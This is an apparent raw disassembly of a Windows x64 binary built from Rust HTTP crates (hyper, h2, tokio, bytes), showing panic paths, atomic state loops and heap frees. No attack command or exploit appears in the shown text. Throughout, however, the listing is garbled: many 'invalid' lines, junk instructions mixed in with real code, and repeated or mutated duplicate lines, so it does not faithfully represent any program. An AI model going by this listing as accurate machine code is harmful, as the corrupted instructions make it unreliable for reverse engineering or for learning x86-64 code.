mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0xb0]
jmp 0x14008d2d7
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientdispatch.rsenvelope_not_dropped
call fcn.140108690
lea rcx, str.assertion_failed:_slot.next.is_none__
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
mov edx, 0x25
call fcn.140108350
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
call fcn.140108690
lea rcx, str.poll_response_called_after_response_returned
lea r8, [0x1401283a0]
mov edx, 0x2c
call fcn.1401088c0
lea rcx, str.polled_after_complete
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientdispatch.rsenvelope_not_dropped
mov edx, 0x15
call fcn.1401086b0
mov ecx, 8
mov edx, 0x70
call fcn.140107fe0
ud2
mov ecx, 8
mov edx, 0x50
call fcn.140107fe0
int3
mov eax, esi
mov rdx, rbx
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov byte [rdi + rcx], cl
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rax*8]
movzx eax, byte [rcx + 0x11c]
movzx edi, byte [rcx + 0x11d]
mov ecx, 0x11d
mov ecx, 0x11d
mov ecx, edi
test al, al
je 0x14008d6e2
test dil, dil
je 0x14008d739
lea ecx, [rdi - 1]
mov edx, dword [0x140182314]
mov r8, qword gs:[0x58]
mov rdx, qword [r8 + rdx*8]
mov byte [rdx + 0x11d], cl
test al, al
sete bpl
test rbx, rbx
jne 0x14008d7e5
jmp 0x14008d940
add dword [rax], eax
add byte [rax - 0x57e48af8], ch
or byte [rdi + riz*2 - 0x17], dh
rol byte [rax], 0
add byte [rcx - 0x75], cl
invalid
mov rax, qword [r14]
mov rcx, qword [r14 + 8]
call qword [rax + 0x10]
mov sil, 1
jmp 0x14008d91b
mov rax, qword [rbx + 0x30]
test al, 4
jne 0x14008d919
test al, 8
jne 0x14008d80a
test al, 8
je 0x14008d852
mov sil, 1
test bpl, bpl
je 0x14008d892
jmp 0x14008d91b
mov rcx, qword [rbx + 0x18]
cmp rcx, qword [r14 + 8]
jne 0x14008d81d
mov rcx, qword [rbx + 0x10]
cmp rcx, qword [r14]
je 0x14008d7f5
mov rax, qword [rbx + 0x30]
nop word cs:[rax + rax]
mov rcx, rax
and rcx, 0xfffffffffffffff7
lock cmpxchg qword [rbx + 0x30], rcx
jne 0x14008d830
test al, 4
jne 0x14008d913
mov rax, qword [rbx + 0x10]
mov rcx, qword [rbx + 0x18]
call qword [rax + 0x18]
mov rax, qword [rsi]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], rdx
mov rax, qword [rbx + 0x30]
nop word [rax + rax]
mov rcx, rax
or rcx, 8
lock cmpxchg qword [rbx + 0x30], rcx
jne 0x14008d870
and eax, 4
sete sil
shr eax, 2
or al, bpl
jne 0x14008d91b
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
mov sil, 1
cmp eax, 1
je 0x14008d8e5
test eax, eax
jne 0x14008d91b
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], 1
mov byte [rax + 0x11d], dil
jmp 0x14008d91b
lock or qword [rbx + 0x30], 8
xor esi, esi
mov eax, esi
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_synconeshot.rscalled_after_complete
call fcn.140108690
int3
or byte [rbp + 0x14], dh
mov rdx, qword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
mov rdi, rcx
mov rcx, rax
call qword [rdx + 0x10]
mov rcx, rdi
lock dec qword [rsi]
jne 0x14008d9b0
mov rcx, qword [rcx + 8]
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.1400375e0
nop
add rsp, 0x28
pop rdi
pop rsi
ret
jne 0x14008da2d
mov rcx, qword [rsi + 0x10]
call fcn.14008e5b0
lea rdi, [rsi + 0x18]
mov rcx, rdi
mov ecx, edi
mov ecx, edi
call fcn.14002de70
mov rcx, rdi
call fcn.140027180
mov rax, qword [rsi + 0x18]
lock dec qword [rax]
jne 0x14008da53
mov rcx, rdi
call fcn.140005c50
mov rax, qword [rsi + 0x28]
mov rdx, qword [rsi + 0x30]
mov rax, qword [rax + 0x10]
mov r8, qword [rsi + 0x38]
add rsi, 0x40
mov rcx, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp rax
add eax, dword [rax]
add byte [rax - 0x75], cl
mov rdx, qword [rsi + 0x30]
add rcx, qword [rdi]
mov r8, r14
invalid
jno 0x14008da64
invalid
mov rdx, qword [rsi + 0x30]
add rcx, qword [rdi]
mov r8, r14
call fcn.140106250
cmp qword [rdi + 0x18], rbx
jae 0x14008dae9
mov qword [rdi + 0x18], rbx
mov qword [rdi + 0x10], rbx
mov qword [rsp + 0x80], r14
mov rax, qword [rsi + 0x38]
mov rcx, rax
sub rcx, r14
jb 0x14008de3a
mov qword [rsi + 0x38], rcx
add qword [rsi + 0x30], r14
add rsi, 0x18
lea rcx, [rsp + 0x20]
mov rdx, rsi
mov edx, esi
mov edx, esi
mov r8, r14
call fcn.14002e060
movzx eax, byte [rsp + 0x20]
cmp eax, 5
clc
add eax, 0x1b7840f
add byte [rax], al
clc
add eax, 0x1b7840f
add byte [rax], al
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x14008dce6
test eax, eax
je 0x14008dce6
cmp eax, 1
jne 0x14008dc90
lea rcx, [rsp + 0x40]
mov rax, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
call qword [rax + 0x10]
jmp 0x14008dce6
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rbp + rcx*4 + 0x7e], cl
sbb byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0xa9
add byte [rax], al
add byte [rbp + rcx*4 - 0x54], cl
and al, 0xa8
add byte [rax], al
add byte [rdi], cl
invalid
mov rax, qword [rsp + 0x28]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x14008dce6
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14008dcd4
cmp qword [rbx + 0x10], 0x11
jb 0x14008dcc2
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
xor edx, edx
xor eax, eax
add rsp, 0xe8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0xa8], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x58], rax
lea rax, [0x1400ea0f0]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0xa8]
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rax
and al, 0x70
and al, 0x70
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 2
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x28], 2
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x20]
call fcn.140108280
int3
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0xf0
test r9, r9
je 0x14008df35
mov r14, r8
mov rsi, rdx
mov rdi, rcx
mov rbx, r9
mov edx, r9d
call fcn.140089c10
lea rcx, [rsp + 0xa0]
mov rdx, rdi
mov r8, rsi
call fcn.14008a040
cmp byte [rsp + 0xa0], 7
jne 0x14008defb
mov eax, 2
jmp 0x14008df39
movups xmm0, xmmword [rsp + 0xa0]
movups xmm1, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x20], xmm0
mov rax, qword [rsp + 0xc0]
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x40
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x40
movaps xmmword [rsp + 0x30], xmm1
movzx eax, byte [rsp + 0x20]
cmp eax, 5
je 0x14008df48
cmp eax, 6
jne 0x14008e0da
xor edx, edx
xor eax, eax
add rsp, 0xf0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rax, qword [rsp + 0x28]
cmp rax, rbx
ja 0x14008e27e
test rax, rax
mov rbx, rax
je 0x14008df83
js 0x14008e290
movzx ecx, byte [0x140182310]
xor ecx, ecx
mov rdx, rax
call fcn.1400dfbe0
test rax, rax
je 0x14008e295
mov r15, rax
jmp 0x14008df89
mov r15d, 1
mov rcx, r15
mov rdx, r14
mov r14, rbx
mov r8, rbx
call fcn.140106250
mov qword [rsp + 0xd0], r15
mov qword [rsp + 0xd8], rbx
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xc8], 1
lea rcx, [rsp + 0x48]
lea r8, [rsp + 0xc8]
mov rdx, rdi
xor r9d, r9d
call fcn.14008a540
cmp byte [rsp + 0x48], 5
jne 0x14008e036
movzx eax, byte [rsp + 0x20]
cmp eax, 6
mov rdx, rbx
je 0x14008df37
cmp al, 5
je 0x14008df37
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x14008df37
test eax, eax
je 0x14008df37
cmp eax, 1
jne 0x14008e21b
lea rcx, [rsp + 0x40]
mov rax, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
call qword [rax + 0x10]
mov rdx, rbx
jmp 0x14008df37
movups xmm0, xmmword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x58]
movaps xmmword [rsp + 0x70], xmm0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x90], rax
movaps xmmword [rsp + 0x80], xmm1
cmp byte [rsp + 0x70], 4
jne 0x14008e068
mov rax, qword [rsp + 0x78]
jmp 0x14008e072
lea rcx, [rsp + 0x48]
call fcn.14003a4c0
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x14008e0c4
lea rbx, [rax - 1]
mov r14, qword [rax - 1]
mov r15, qword [rax + 7]
mov rcx, r14
call qword [r15]
cmp qword [r15 + 8], 0
je 0x14008e0b2
cmp qword [r15 + 0x10], 0x11
jb 0x14008e0a0
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [rsp + 0x20]
cmp eax, 6
je 0x14008e15b
cmp al, 5
je 0x14008e15b
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x14008e15b
test eax, eax
je 0x14008e15b
cmp eax, 1
jne 0x14008e104
lea rcx, [rsp + 0x40]
mov rax, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
call qword [rax + 0x10]
jmp 0x14008e15b
mov rax, qword [rsp + 0x28]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x14008e15b
lea rbx, [rax - 1]
mov r14, qword [rax - 1]
mov r15, qword [rax + 7]
mov rcx, r14
call qword [r15]
cmp qword [r15 + 8], 0
je 0x14008e149
cmp qword [r15 + 0x10], 0x11
jb 0x14008e137
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x70]
mov rdx, rdi
mov r8, rsi
call fcn.140089d50
movzx ecx, byte [rsp + 0x70]
cmp cl, 6
jne 0x14008e189
mov eax, 2
movabs rdx, 0xb00000003
jmp 0x14008df39
mov eax, dword [rsp + 0x74]
cmp cl, 5
jne 0x14008e1b5
cmp eax, 8
ja 0x14008e1fb
mov ecx, 0x121
bt ecx, eax
jae 0x14008e1fb
mov eax, 1
movabs rdx, 0xb00000003
jmp 0x14008df39
movzx edx, byte [rsp + 0x73]
mov byte [rsp + 0x4b], dl
movzx edx, word [rsp + 0x71]
mov word [rsp + 0x49], dx
movups xmm0, xmmword [rsp + 0x78]
movups xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [rsp + 0x88]
movups xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x48], cl
mov dword [rsp + 0x4c], eax
cmp cl, 4
jne 0x14008e204
mov rdx, qword [rsp + 0x50]
mov eax, 1
jmp 0x14008df39
mov byte [rsp + 0x48], 2
mov dword [rsp + 0x4c], eax
lea rcx, [rsp + 0x48]
call fcn.14003a4c0
mov rdx, rax
mov eax, 1
jmp 0x14008df39
mov rax, qword [rsp + 0x28]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x14008df37
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov r14, qword [rax + 7]
mov rcx, rdi
call qword [r14]
cmp qword [r14 + 8], 0
je 0x14008e264
cmp qword [r14 + 0x10], 0x11
jb 0x14008e252
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, rbx
jmp 0x14008df37
mov rdx, rbx
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2mod.rs
mov rcx, rax
call fcn.140108340
call fcn.140010b00
mov ecx, 1
mov rdx, rbx
call fcn.140107fc0
int3
xor edx, edx
xor eax, eax
jmp 0x14008e3ca
invalid
call fcn.14003a4c0
mov ecx, eax
and ecx, 3
cmp ecx, 1
add dword [rbp + 0x48], esi
add dword [rbp + 0x48], esi
lea rbx, [rax - 1]
mov r14, qword [rax - 1]
mov esi, dword [rax - 1]
mov esi, dword [rax - 1]
mov r15, qword [rax + 7]
mov rcx, r14
call qword [r15]
invalid
cmp qword [r15 + 8], 0
invalid
je 0x14008e399
invalid
add byte [rbp + rbx + 0x49], dh
cmp dword [rdi + 0x10], 0x11
cmp qword [r15 + 0x10], 0x11
jb 0x14008e387
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
or byte [rax], al
add byte [rcx], dh
ror byte [rbp - 0x77], cl
invalid
or byte [rax], al
mov rcx, qword [0x140182260]
xor edx, edx
ror byte [rcx - 0x77], cl
fdivr st(7)
adc eax, 0x83fb5
ror byte [rcx - 0x77], cl
fdivr st(7)
adc eax, 0x83fb5
lea rcx, [rsp + 0x50]
mov rdx, rdi
mov r8, rsi
call fcn.140089d50
movzx ecx, byte [rsp + 0x50]
push rax
push rax
cmp cl, 6
jne 0x14008e3d9
mov eax, 1
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov eax, dword [rsp + 0x54]
push rsp
cmp cl, 5
jne 0x14008e403
test eax, eax
je 0x14008e310
cmp eax, 5
je case.0x1400656b8.131
add eax, 0xf8830574
or byte [rbp + 0x4d], dh
cmp eax, 8
jne 0x14008e441
movabs rdx, 0xb00000003
jmp 0x14008e312
invalid
invalid
invalid
movzx edx, byte [rsp + 0x53]
mov byte [rsp + 0x2b], dl
movzx edx, word [rsp + 0x51]
mov word [rsp + 0x29], dx
movups xmm0, xmmword [rsp + 0x58]
and al, 0x58
and al, 0x58
movups xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [rsp + 0x68]
xor byte [rdi], cl
adc byte [rsp + 0x68], al
movups xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x28], cl
mov dword [rsp + 0x2c], eax
cmp cl, 4
add al, 0x75
invalid
add al, 0x75
adc ecx, dword [rax - 0x75]
mov rdx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x30]
jmp 0x14008e312
mov byte [rsp + 0x28], 2
mov dword [rsp + 0x2c], eax
lea rcx, [rsp + 0x28]
call fcn.14003a4c0
mov rdx, rax
jmp 0x14008e312
add eax, 0xfffffff0
shl r9, 4
nop dword [rax + rax]
test r9, r9
je 0x14008e492
mov eax, dword [r8 + 0x10]
add r8, 0x10
adc byte [rcx - 0x7d], cl
sal eax, 0x48
test eax, eax
adc byte [rcx - 0x7d], cl
sal eax, 0x48
test eax, eax
je 0x14008e470
mov r8, qword [r8 + 8]
mov r9, rax
shr ecx, 0x1e
cli
invalid
invalid
shr ecx, 0x1e
cli
invalid
mov r8d, 1
xor eax, eax
mov r9, rax
jmp 0x14008deb0
mov eax, 0x77333abc
push rsp
push r8
mov eax, 0x7af5ba48
cld
mov ah, 0x2d
invalid
int3
sub esp, 0x30
lea rbp, [rsp + 0x30]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rsi, rcx
movzx eax, byte [0x140182310]
mov edx, 0x28
add byte [rax], al
add byte [rcx], dh
leave
add byte [rax], al
add byte [rcx], dh
leave
call fcn.1400dfbe0
test rax, rax
je 0x14008e54d
mov rdi, rax
mov rax, qword [rsi + 0x20]
mov qword [rdi + 0x20], rax
and byte [r15], r9b
adc byte [rsi], al
invalid
and byte [r15], r9b
adc byte [rsi], al
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
movzx eax, byte [0x140182310]
mov edx, 0x18
sbb byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
leave
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
test eax, eax
test eax, eax
je 0x14008e55c
mov qword [rax], rdi
lea rcx, [0x14013cd58]
lea ecx, [0x14013cd58]
lea ecx, [0x14013cd58]
mov qword [rax + 8], rcx
mov byte [rax + 0x10], 0xb
inc rax
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
mov ecx, 8
add byte [rax], al
mov edx, 0x28
call fcn.140107fe0
invalid
invalid
invalid
invalid
mov qword [rbp - 0x10], rdi
mov ecx, 8
add byte [rax], al
add byte [rax], al
mov edx, 0x18
call fcn.140107fe0
ud2
nop dword cs:[rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x30]
lea rdx, [0x14013cd58]
mov rcx, qword [rbp - 0x10]
call fcn.1400dd460
nop
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, rcx
mov rdi, qword [rcx + 0x20]
mov r14, qword [rcx + 0x28]
test r14, r14
je 0x14008e64f
lea rbx, [rdi + 0x18]
lea r15, [0x140177bc8]
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14008e604
mov rcx, rbx
call fcn.1400876a0
add rbx, 0x138
dec r14
je 0x14008e64f
cmp dword [rbx - 0x18], 2
je case.default.0x14008e61b
movzx eax, byte [rbx - 8]
cmp rax, 6
ja case.default.0x14008e61b
movsxd rax, dword [r15 + rax*4]
add al, 0x87
add rax, r15
jmp rax
add byte [rdi + rcx*8 + 0x4c], dh
mov eax, dword [rbx + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call r12
jmp case.default.0x14008e61b
invalid
mov ebp, 0x184b8d48
lea ecx, [rbx + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
adc r15b, dil
push rax
adc bl, ch
invalid
adc r15b, dil
push rax
adc bl, ch
test eax, 0x187e8348
add byte [rdx + rdx + 0x48], dh
je 0x14008e668
mov rcx, qword [0x140182260]
cmp qword [rsi + 0x18], 0
je 0x14008e668
mov rcx, qword [0x140182260]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
clc
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp rsi, 0xffffffffffffffff
je 0x14008e695
lock dec qword [rsi + 8]
dec dword [rsi + 8]
jne 0x14008e695
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x28
sub byte [rbx + 0x5f], bl
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rdi
pop rdi
ret
push rsi
push rdi
push rbx
sub rsp, 0xa8
movaps xmmword [rsp + 0x90], xmm6
mov rsi, rcx
mov rax, qword [rcx]
jmp case.0x140068ed1.124
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
je 0x14008e715
test al, 4
je 0x14008ed68
test al, 3
je 0x14008e6d0
cmp rax, 0x3f
jbe 0x14008ed80
add byte [rsi], 0
add byte [rax - 0x73], cl
ror byte [rax - 0x7d], 0xf9
setb dl
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne case.0x140068ed1.124
movzx eax, dl
lea rcx, [0x140177be4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014e140]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x30]
lea eax, [rsp + 0x30]
lea eax, [rsp + 0x30]
and al, 0x30
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x50], 0
and al, 0x50
add byte [rax], al
add byte [rax], al
cmp dword [rsi + 0x30], 2
jae 0x14008ed98
lea rdi, [rsi + 0x30]
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008e7b7
xorps xmm6, xmm6
test eax, eax
jne 0x14008e7e3
mov eax, dword [0x140182314]
add eax, 0xf3b85
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
rol byte [rax], 1
add byte [rax], al
xor al, 0xc1
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xf8], rbx
cwde
clc
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x40
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
mov rcx, rdi
call fcn.14008be60
mov ecx, dword [0x140182314]
invalid
cmp ecx, dword [rdi]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
je 0x14008e845
invalid
test ecx, ecx
jne 0x14008e861
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rcx*8]
lea rcx, [r14 + 0xd0]
mov ss, eax
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x55a9c
mov ss, eax
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x55a9c
mov ebx, eax
call fcn.1400d4a00
mov eax, ebx
fadd dword [rcx - 0x3a]
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
fadd dword [rcx - 0x3a]
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
mov cl, 1
test al, al
je 0x14008ea7a
mov rcx, rsi
call fcn.1400e6d10
movzx eax, al
lea rcx, [0x140177bf4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
add rcx, 0x10
mov rdx, rsi
mov r8b, 1
call fcn.1400ec5d0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14008edd0
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x14008e882.0
lea rcx, [rsi + 0x20]
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14008e8cd
call fcn.1400687d0
mov rcx, rdi
jmp 0x14008e8e9
call fcn.14008f4c0
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x14008e904
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008e973
xorps xmm6, xmm6
test eax, eax
jne 0x14008e99f
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
add eax, 0x6094e800
add al, 0
add eax, 0x6094e800
add al, 0
invalid
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.14008f4c0
mov qword [rsi + 0x30], 3
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008ea07
test eax, eax
jne 0x14008ec3a
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
cmp dword [rdi], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
lea edx, [0x1400e42d0]
lea edx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
add byte [rcx], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
cmp byte [rdi], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
add byte [rax], al
add byte [rax], al
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
clc
add byte [rax], al
invalid
clc
add byte [rax], al
add byte [rax - 0x77], cl
stc
mov rcx, rdi
call fcn.14008f4c0
mov qword [rsi + 0x30], 2
mov qword [rsi + 0x38], 1
mov qword [rsi + 0x40], 0
mov qword [rsi + 0x50], rbx
jmp 0x14008ebb3
mov rbx, qword [rsi + 0x28]
cmp cl, 1
je 0x14008eabb
movzx eax, cl
xorps xmm6, xmm6
invalid
test eax, eax
jne 0x14008eae7
test byte [rbp - 0x74a58a40], 5
cmp dword [rax], 0x4865000f
mov ecx, dword [0x58]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
mov esi, dword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
add byte [rax], al
add byte [rax - 0x77], cl
cwde
clc
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, edi
mov rcx, rdi
mov ecx, edi
call fcn.14008f4c0
add byte [rax], al
mov qword [rdi], 3
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008eb4a
test eax, eax
jne 0x14008ec85
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
